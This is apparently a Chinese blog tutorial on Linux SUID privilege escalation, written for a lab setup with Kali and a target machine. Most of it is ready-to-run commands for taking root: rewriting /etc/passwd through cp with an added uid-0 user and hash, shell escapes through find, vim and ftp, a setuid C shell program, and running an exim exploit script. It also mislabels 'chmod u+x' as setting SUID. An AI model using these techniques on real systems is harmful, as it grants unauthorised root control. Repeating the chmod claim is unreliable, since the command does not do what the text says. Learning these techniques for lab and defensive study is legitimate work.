suid简介
在Linux系统中的文件,通常有rwx也就是读、写、执行三种权限,但其实还有第四种权限,也就是suid权限。在执行拥有suid权限的文件的过程中,会获得文件属主的权限。例如,当cat命令具有suid权限,那么用户就可以查看任何文件,如果只是普通权限,那么只能查看一些普通用户可以看的文件,无法查看root用户的文件。
SUID(Set UID):
- suid权限仅对二进制程序有效(binary program);
- 执行者对于该程序需要具有x的可执行权限;
- 本权限仅在执行该程序的过程中有效(run-time);
- 执行者将具有该程序拥有者的权限。
在说suid提权之前,我先说一下如何赋予文件suid权限和如何查找具有suid权限的文件。
chmod u+x a.txt //赋予a.txt suid权限
find / -perm -u=s -type f 2>/dev/null
参数:
/表示从文件系统的顶部(根)开始,查找每个目录
-perm表示搜索后面的权限
-u=s表示查找具有suid权限的文件
-type表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2表示到进程的第二个文件描述符,即 stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
cp提权
当我们运行cp(复制)命令时,就会有root权限,也就是说我们可以复制任意文件。众所周知/etc/passwd这个文件是保存用户的,只有root才可以修改。但是现在我们的cp命令具有root权限,那我们是不是可以把/etc/passwd这个文件的内容复制到一个新建的文件中,然后添加一个root用户,最后再复制回去不就完成对/etc/passwd文件的修改了吗,之后再切换我们刚刚添加的root用户即可。
这里我复制到a.txt中
cp /etc/passwd a.txt
在添加之前,我们先在kali生成一个密码,用来切换用户用的。
openssl passwd -1 -salt 1×2×3 abc123 //-1为md5,-salt指定盐(随意)密码abc123
然后按照/etc/passwd文件里第一条root用户的格式来添加就行,把x换成我们刚刚生成的密码
test:$1$1×2×3$v7HAeao264EWdUs17q7XK/:0:0:root:/root:/bin/bash
再复制回去就ok了。
cp a.txt /etc/passwd
切换我们刚刚添加的用户,并输入刚刚生成的密码即可变成root。
find提权
find也可以用来提权,在执行find命令的过程中利用exec参数来指定其他的命令。例如,在执行find命令过程中又执行whoami命令,因为在执行find命令过程中权限为root,所以最后输出root。
那我们只需把whoami换成/bin/sh,以root的身份新建一个交互终端即可,值得注意的是,要找的文件必须是存在滴
find a.txt -exec "/bin/sh" -p \;
vim提权
当vim被赋予suid权限时,可以编辑任意文件。那么我们直接在/etc/passwd添加个用户不就行了吗,和上面的cp差不多就不演示了。
还有一个方法是去修改/etc/sudoers文件,在/etc/sudoers文件中把普通用户的权限配置为root权限,按照root的方式配置即可。
然后再sudo bash就会获取一个root的shell,不过第一次要输入当前用户的密码,有点鸡肋
可执行文件提权
除了一些系统的可执行命令,自己写的可执行脚本也可以提权,以c语言为例。在kali编译好后再传进靶机里面,如果靶机有环境的话直接在班级编译也行。
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}
然后复制到/bin目录下,再添加权限,但是在bin目录下的话普通用户就没有权限给予shell文件suid权限了???????
只能切换root用户再给予shell文件777权限和suid权限了,最后再切换回普通用户执行shell文件即可。个人觉得超级无敌鸡肋,既然我都能切换root用户给予权限了,那我还提个集贸权啊。
ftp提权
先输入ftp ,再在底行输入!/bin/sh -p即可
exim4提权
先查看版本信息
/usr/sbin/exim4 --version
到kali漏洞库去找提权脚本,根据脚本适用版本以及脚本信息来判断使用哪个脚本。这里我们就用第三个,Privilege Escalation是权限提升的意思。
searchsploit exim 4.8
脚本上传到靶机,给予执行权限。
两种使用方式,不知道使用哪种就两种都试试即可。
./46996.sh -m netcat
./46996.sh -m setuid
总结
以上总结的是常见的suid提权,后续会持续跟新。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。